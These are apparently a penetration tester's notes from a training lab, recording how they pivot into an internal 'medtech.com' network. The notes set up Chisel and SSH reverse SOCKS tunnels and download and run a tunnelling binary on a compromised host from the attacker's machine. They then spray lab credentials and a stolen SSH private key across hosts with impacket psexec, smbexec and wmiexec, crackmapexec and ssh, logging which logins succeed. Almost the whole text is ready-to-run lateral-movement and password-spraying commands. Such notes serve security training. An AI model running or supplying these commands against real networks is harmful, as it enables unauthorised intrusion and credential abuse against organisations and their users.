Moving to Internal network

Using 192.168.174.121 as the pivot

Using Chisel for Windows

On Kali machine:
        chisel server --port 9998 --reverse
        
On compromised machine:
        chisel client 192.168.45.239:9998 R:socks

Run some enumeration to test if forwarding is working:
    for i in $(seq 10 16); do proxychains impacket-psexec medtech.com/joe:Flowers1@172.16.116.$i; done
    
    for i in $(seq 10 16); do proxychains impacket-smbexec medtech.com/joe:Flowers1@172.16.116.$i; done
    
    for i in $(seq 10 16); do proxychains impacket-wmiexec medtech.com/joe:Flowers1@172.16.116.$i; done

Using 192.168.174.122 as the pivot

Using SSH remote dynamic

On Kali machine:
    sudo systemctl start ssh && systemctl status ssh
        
On compromised machine:
    ssh -N -R 443 kali@192.168.45.239

Update proxychains conf file
    sudo nano /etc/proxychains.conf
    > Append: socks5 127.0.0.1 443

Run some enumeration to test if forwarding is working:
    for i in $(seq 10 16); do proxychains ping -c 2 172.16.174.$i; done

Using Chisel for linux

On Kali machine:
    chisel_old server --port 8080 --reverse
        # To verify connections - sudo tcpdump -nvvvXi tun0 tcp port 8080
        # Look for packets that contain "Connection: Upgrade" string
        
On compromised machine:
    wget 192.168.45.239/chisel_old -O /tmp/chisel && chmod +x /tmp/chisel
    cd /tmp
    ./chisel client 192.168.45.239:8080 R:socks    

Once the proxy has been established, update proxychains.conf
    sudo nano /etc/proxychains.conf
    > Append: socks5 127.0.0.1 1080

Attempted Enumerating Internal network via pivot

for i in $(seq 10 16); do proxychains ldapsearch -v -x -b "DC=medtech,DC=com" -H "ldap://172.16.116.$i" "(objectclass=*)" | grep sAMAccountName: | awk '{print $2}'; done

proxychains ldapsearch -v -x -b "DC=medtech,DC=com" -H "ldap://172.16.116.10" "(objectclass=people)"

Outcome: determined 172.16.116.10 to be DC, but no valid responses

impacket Spam

Run some enumeration to test if forwarding is working:
    for i in $(seq 10 14); do proxychains impacket-psexec medtech.com/joe:Flowers1@172.16.116.$i; done
    for i in $(seq 82 83); do proxychains impacket-psexec medtech.com/joe:Flowers1@172.16.116.$i; done
    
    for i in $(seq 10 14); do proxychains impacket-smbexec medtech.com/joe:Flowers1@172.16.116.$i; done
    for i in $(seq 82 83); do proxychains impacket-smbexec medtech.com/joe:Flowers1@172.16.116.$i; done 
    
    for i in $(seq 10 14); do proxychains impacket-wmiexec medtech.com/joe:Flowers1@172.16.116.$i; done
    for i in $(seq 82 83); do proxychains impacket-wmiexec medtech.com/joe:Flowers1@172.16.116.$i; done

Outcome: Gained access to 172.16.116.11

    for i in $(seq 10 14); do proxychains impacket-psexec medtech.com/wario:Mushroom\!@172.16.116.$i; done
    for i in $(seq 82 83); do proxychains impacket-psexec medtech.com/wario:Mushroom\!@172.16.116.$i; done
    
    for i in $(seq 10 14); do proxychains impacket-smbexec medtech.com/wario:Mushroom\!@172.16.116.$i; done
    for i in $(seq 82 83); do proxychains impacket-smbexec medtech.com/wario:Mushroom\!@172.16.116.$i; done 
    
    for i in $(seq 10 14); do proxychains impacket-wmiexec medtech.com/wario:Mushroom\!@172.16.116.$i; done
    for i in $(seq 82 83); do proxychains impacket-wmiexec medtech.com/wario:Mushroom\!@172.16.116.$i; done

Outcome: No responses for wario credentials

for i in $(seq 10 14); do proxychains impacket-psexec medtech.com/leon:rabbit:\)@172.16.116.$i; done
    proxychains impacket-psexec medtech.com/leon:rabbit:\)@172.16.116.10

Outcome: Gained access to 172.16.226.10 with leon:rabbit:)

for i in $(seq 13 14); do proxychains impacket-psexec medtech.com/leon:rabbit:\)@172.16.226.$i; done
    proxychains impacket-psexec medtech.com/leon:rabbit:\)@172.16.116.13

for i in $(seq 13 14); do proxychains impacket-psexec medtech.com/wario:Mushroom!@172.16.226.$i; done
for i in $(seq 13 14); do proxychains impacket-psexec medtech.com/yoshi:Mushroom!@172.16.226.$i; done

Outcome: Gained access to 172.16.226.13 with leon rabbit:)

crackmapexec Spam

for i in $(seq 10 14); do proxychains crackmapexec smb 172.16.116.$i -d medtech.com -u users.txt -p passwords.txt --continue-on-success; done
for i in $(seq 82 83); do proxychains crackmapexec smb 172.16.116.$i -d medtech.com -u users.txt -p passwords.txt --continue-on-success; done

for i in $(seq 10 14); do proxychains crackmapexec winrm 172.16.116.$i -u users.txt -p passwords.txt --continue-on-success; done
for i in $(seq 82 83); do proxychains crackmapexec winrm 172.16.116.$i -u users.txt -p passwords.txt --continue-on-success; done

for i in $(seq 10 14); do proxychains crackmapexec rdp 172.16.116.$i -u users.txt -H passwords.txt --continue-on-success; done
for i in $(seq 82 83); do proxychains crackmapexec rdp 172.16.116.$i -u users.txt -H passwords.txt --continue-on-success; done

Outcome 1: winRM access on 172.16.116.83 with wario:Mushroom!

for i in $(seq 82 83); do proxychains crackmapexec winrm 172.16.116.$i -u users.txt -p passwords.txt --continue-on-success; done

Outcome 2: rdp access on 172.16.116.12 with yoshi:Mushroom!

for i in $(seq 10 14); do proxychains crackmapexec rdp 172.16.116.$i -d medtech.com -u users.txt -p passwords.txt --continue-on-success; done
    proxychains crackmapexec rdp 172.16.116.12 -d medtech.com -u users.txt -p password.txt --continue-on-success

upload scan result

Outcome 2: rdp access on 172.16.116.82 with yoshi:Mushroom!

for i in $(seq 82 83); do proxychains crackmapexec rdp 172.16.116.$i -d medtech.com -u users.txt -p passwords.txt --continue-on-success; done
    proxychains crackmapexec rdp 172.16.116.82 -d medtech.com -u users.txt -p password.txt --continue-on-success

proxychains crackmapexec smb 172.16.226.14 -d medtech.com -u users.txt -p passwords.txt --continue-on-success

proxychains crackmapexec winrm 172.16.226.14 -u users.txt -p passwords.txt --continue-on-success

proxychains crackmapexec rdp 172.16.226.14 -u users.txt -H passwords.txt --continue-on-success

Outcome: No access via crackmap to 172.16.226.14

SSH Spam

Using the private key collected from VPN machine
    > Make sure to update the key permissions
    > chmod 600 mario_priv_key

for i in $(seq 10 14); do proxychains ssh mario@172.16.226.$i -i mario_priv_key -o "IdentitiesOnly=yes" -u ; done
for i in $(seq 82 83); do proxychains ssh mario@172.16.226.$i -i mario_priv_key -o "IdentitiesOnly=yes" -u ; done

Outcome: ssh access on 172.16.226.14 with mario's private key